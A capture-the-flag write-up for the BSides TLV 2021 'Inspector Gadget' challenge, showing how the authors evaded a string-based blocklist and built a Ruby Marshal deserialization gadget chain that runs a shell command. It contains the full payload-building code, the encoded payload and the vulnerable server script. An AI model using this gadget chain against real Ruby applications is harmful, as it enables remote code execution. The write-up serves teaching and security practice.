Inspector Gadget

Description

problem description

Inpection

First let's try to connect to the server and what it is all about:

$ nc inspector-gadget.ctf.bsidestlv.com 3000

      ###                                                            #####
       #  #    #  ####  #####  ######  ####  #####  ####  #####     #     #   ##   #####   ####  ###### #####
       #  ##   # #      #    # #      #    #   #   #    # #    #    #        #  #  #    # #    # #        #
       #  # #  #  ####  #    # #####  #        #   #    # #    #    #  #### #    # #    # #      #####    #
       #  #  # #      # #####  #      #        #   #    # #####     #     # ###### #    # #  ### #        #
       #  #   ## #    # #      #      #    #   #   #    # #   #     #     # #    # #    # #    # #        #
      ### #    #  ####  #      ######  ####    #    ####  #    #     #####  #    # #####   ####  ######   #

Please insert log object in base64 format (for example 'BAhvOg9EeW5hbWljTG9nCDoLQGxldmVsSSIJSU5GTwY6BkVUOg1AbWVzc2FnZUkiDE1lc3NhZ2UGOwdUOgpAdHlwZUkiCGNzdgY7B1Q='):

Let's try the example. We get:

level,message
INFO,Message

we decoded the example and got:

$echo BAhvOg9EeW5hbWljTG9nCDoLQGxldmVsSSIJSU5GTwY6BkVUOg1AbWVzc2FnZUkiDE1lc3NhZ2UGOwdUOgpAdHlwZUkiCGNzdgY7B1Q= | base64 -d | hexdump -C
00000000  04 08 6f 3a 0f 44 79 6e  61 6d 69 63 4c 6f 67 08  |..o:.DynamicLog.|
00000010  3a 0b 40 6c 65 76 65 6c  49 22 09 49 4e 46 4f 06  |:.@levelI".INFO.|
00000020  3a 06 45 54 3a 0d 40 6d  65 73 73 61 67 65 49 22  |:.ET:.@messageI"|
00000030  0c 4d 65 73 73 61 67 65  06 3b 07 54 3a 0a 40 74  |.Message.;.T:.@t|
00000040  79 70 65 49 22 08 63 73  76 06 3b 07 54           |ypeI".csv.;.T|

Ok, what it is?

We downloaded and extract the docker image and found a ruby script named index.rb (attached in the appendix below). Notice that the flag file is located in the same folder but is never used or referenced by the ruby script. we will get to it later.

In the script we can see that it decodes the base64 input and unmarshals it:

  serialized_object = Base64.decode64 gets
  is_blocked = firewall serialized_object
  puts
  return puts 'Blocked By The Application Firewall' if is_blocked

  Marshal.load(serialized_object).log rescue nil

Hey, but what is this firewall in the second line above? 🤔

The name of the challenge implies that we need to use gadget chain in order to exploit the deserialization and achieve arbitrary command execution.

This technique is decribed here.

Ruby Gadget Chain TL;DR-ing:

But can it work here?

The Problem

There are three obstacles in our way to run a succefully gadget chain:

  1. First, the original gadget chain contains the classes Gem::DependencyList, Gem::Source::SpecificFile and StubSpecification, and they are all blocked by the firewall function :-(

  2. Second, the original gadget is invoked by marshal_load of Gem::Requirement, but in the challenge that function is overridden by an empty marshal_load function (which means that upon loading a Gem::Requirement object nothing will happen):

    class Gem::Requirement
    def marshal_load(array) end
    end
    
  3. Moreover, we need also DynamicLog object in order to pass the firewall check.

    The Solution

    1. Bypassing the firewall

    Side Quest:

    To pass the first obstacle we tried for a long time "manually fuzzing" the marshalled object to pass the firewall. But that didn't go well and we didn't find special chars or conditions which will split pass the firewall filtering and will keep the objects valid...

Now what? alt text

The inspector has to look for another gadget chain.

Finding Another Chain:

Here we found another gadget chain (good work realgam3!) that doesn't contain the blocked objects, except from Gem::Requirement that also here appears first in the chain using its marshal_load function.

2. Replacing the First Part of the Chain

To pass the second obstacle we needed to replace Gem::Requirement with another object that is not blocked by the firewall but implements marshal_load similarly (by calling the "each" function for each sub-object in it). Let's look for another class with marshal_load. In the above mentioned article there is code that searches the appearance of a function in other available objects. This is the code we took from there:

ObjectSpace.each_object(::Class) do |obj|
  all_methods = obj.instance_methods + obj.protected_instance_methods + obj.private_instance_methods

  if all_methods.include? :marshal_load
    method_origin = obj.instance_method(:marshal_load).inspect[/\((.*)\)/,1] || obj.to_s

    puts obj
    puts "  marshal_load defined by #{method_origin}"
    puts "  ancestors = #{obj.ancestors}"
    puts
  end
end

We found our longtime friend Gem::Requirement as well as Gem::Version, SimpleDelegator, OpenStruct and more.

Gem::Version can't help us, because its marshal_load function returns an error if the argument (version) is not in a specific format.

Our first attempt was to use SimpleDelegator, which its marshal_load function invokes the variables in its array, exactly like Gem::Requirement. But unfortunately SimpleDelegator is not included by default on the server in the version of ruby that used in the Docker image (always use the Docker image if possible!)

Then we moved to try OpenStruct. Its marshal_load function (aliased for "update_to_values" function) invokes each_pair on its hash. Looks promising...

We looked for a class that supports "each_pair" function. Once bitten, twice shy, we chose CSV::Row, that we knows that it is explicitly included on the server (because it is used by DynamicLog log function). And the best part with CSV::Row is that its "each_pair" function implementation is alias to the regular "each" function!

So we overridden the marshal_dump function of open struct to return a CSV::Row object:

class OpenStruct
  def marshal_dump
    row = CSV::Row.new(["A"], ["B"])
    row.instance_variable_set('@row', $t)
    row
  end
end

3. Bypassing the DynamicLog Checks

That was the easy part. We also put the string 'DynamicLog@type@level@message' in extra variable, in order to include it in the dump data and pass the first check of the firewall (look at the field @junk we added to object "t" in the chain below)

t.instance_variable_set('@junk', 'DynamicLog@type@level@message')

The Chain

Long story short, eventually we came up with the code:

class OpenStruct
  def marshal_dump
    row = CSV::Row.new(["A"], ["B"])
    row.instance_variable_set('@row', $t)
    row
  end
end

def payload
    Gem::SpecFetcher
    wa1 = Net::WriteAdapter.new(Kernel, :system)

    rs = Gem::RequestSet.allocate
    rs.instance_variable_set('@sets', wa1)
    rs.instance_variable_set('@git_set', "cat flag")

    wa2 = Net::WriteAdapter.new(rs, :resolve)

    Gem::Installer
    i = Gem::Package::TarReader::Entry.allocate
    i.instance_variable_set('@read', 0)
    i.instance_variable_set('@header', "aaa")

    n = Net::BufferedIO.allocate
    n.instance_variable_set('@io', i)
    n.instance_variable_set('@debug_output', wa2)

    t = Gem::Package::TarReader.allocate
    t.instance_variable_set('@io', n)
    t.instance_variable_set('@junk', 'DynamicLog@type@level@message')

    $t = t
    r = OpenStruct.new()

    [Gem::SpecFetcher, Gem::Installer, r]
end

def main
   pay = payload
   dump_pay = Base64.encode64 Marshal.dump(pay)
   puts dump_pay.gsub(/\n/,'')
end

which creates the payload:

BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOg9PcGVuU3RydWN0bzoNQ1NWOjpSb3cHOhBAaGVhZGVyX3Jvd0Y6CUByb3dvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgc6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7Cm86I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsRBzsSbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIg1jYXQgZmxhZwY7D1Q7FToMcmVzb2x2ZToKQGp1bmtJIiJEeW5hbWljTG9nQHR5cGVAbGV2ZWxAbWVzc2FnZQY7D1Q=

Let's send it to the server:

$nc inspector-gadget.ctf.bsidestlv.com 3000

      ###                                                            #####
       #  #    #  ####  #####  ######  ####  #####  ####  #####     #     #   ##   #####   ####  ###### #####
       #  ##   # #      #    # #      #    #   #   #    # #    #    #        #  #  #    # #    # #        #
       #  # #  #  ####  #    # #####  #        #   #    # #    #    #  #### #    # #    # #      #####    #
       #  #  # #      # #####  #      #        #   #    # #####     #     # ###### #    # #  ### #        #
       #  #   ## #    # #      #      #    #   #   #    # #   #     #     # #    # #    # #    # #        #
      ### #    #  ####  #      ######  ####    #    ####  #    #     #####  #    # #####   ####  ######   #

Please insert log object in base64 format (for example 'BAhvOg9EeW5hbWljTG9nCDoLQGxldmVsSSIJSU5GTwY6BkVUOg1AbWVzc2FnZUkiDE1lc3NhZ2UGOwdUOgpAdHlwZUkiCGNzdgY7B1Q='):
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOg9PcGVuU3RydWN0bzoNQ1NWOjpSb3cHOhBAaGVhZGVyX3Jvd0Y6CUByb3dvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgc6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7Cm86I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsRBzsSbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIg1jYXQgZmxhZwY7D1Q7FToMcmVzb2x2ZToKQGp1bmtJIiJEeW5hbWljTG9nQHR5cGVAbGV2ZWxAbWVzc2FnZQY7D1Q=

BSidesTLV2021{You_H4v3_Off1c14lly_B3c4m3_Gadget_Hunter}

We are inspector gadget now!

Appendix

index.rb:

#!/usr/bin/env ruby
# frozen_string_literal: true

require 'csv'
require 'json'
require 'base64'

class DynamicLog
  def initialize(level, message, type)
    @level = level
    @message = message
    @type = type
  end

  def log
    obj = { :level => @level, :message => @message }
    message =
      case @type
      when 'json'
        JSON.dump obj
      when 'csv'
        CSV.generate do |csv|
          csv << obj.keys
          csv << obj.values
        end
      else
        "[#{@level}] #{@message}"
      end
    puts message
  end
end

class Gem::Requirement
  def marshal_load(array) end
end

def firewall(input)
  %w[DynamicLog @type @level @message].each do |word|
    return true unless input.include? word
  end

  %w[
    Gem::Requirement Gem::DependencyList Gem::Requirement
    Gem::StubSpecification Gem::Source::SpecificFile
    ActiveModel::AttributeMethods::ClassMethods::CodeGenerator
    ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
  ].each do |word|
    return true if input.include? word
  end
  false
end

def main
  puts %(
      ###                                                            #####
       #  #    #  ####  #####  ######  ####  #####  ####  #####     #     #   ##   #####   ####  ###### #####
       #  ##   # #      #    # #      #    #   #   #    # #    #    #        #  #  #    # #    # #        #
       #  # #  #  ####  #    # #####  #        #   #    # #    #    #  #### #    # #    # #      #####    #
       #  #  # #      # #####  #      #        #   #    # #####     #     # ###### #    # #  ### #        #
       #  #   ## #    # #      #      #    #   #   #    # #   #     #     # #    # #    # #    # #        #
      ### #    #  ####  #      ######  ####    #    ####  #    #     #####  #    # #####   ####  ######   #
   )
  log = 'BAhvOg9EeW5hbWljTG9nCDoLQGxldmVsSSIJSU5GTwY6BkVUOg1AbWVzc2FnZUkiDE1lc3NhZ2UGOwdUOgpAdHlwZUkiCGNzdgY7B1Q='
  puts "Please insert log object in base64 format (for example '#{log}'):"
  serialized_object = Base64.decode64 gets
  is_blocked = firewall serialized_object
  puts
  return puts 'Blocked By The Application Firewall' if is_blocked

  Marshal.load(serialized_object).log rescue nil
end

main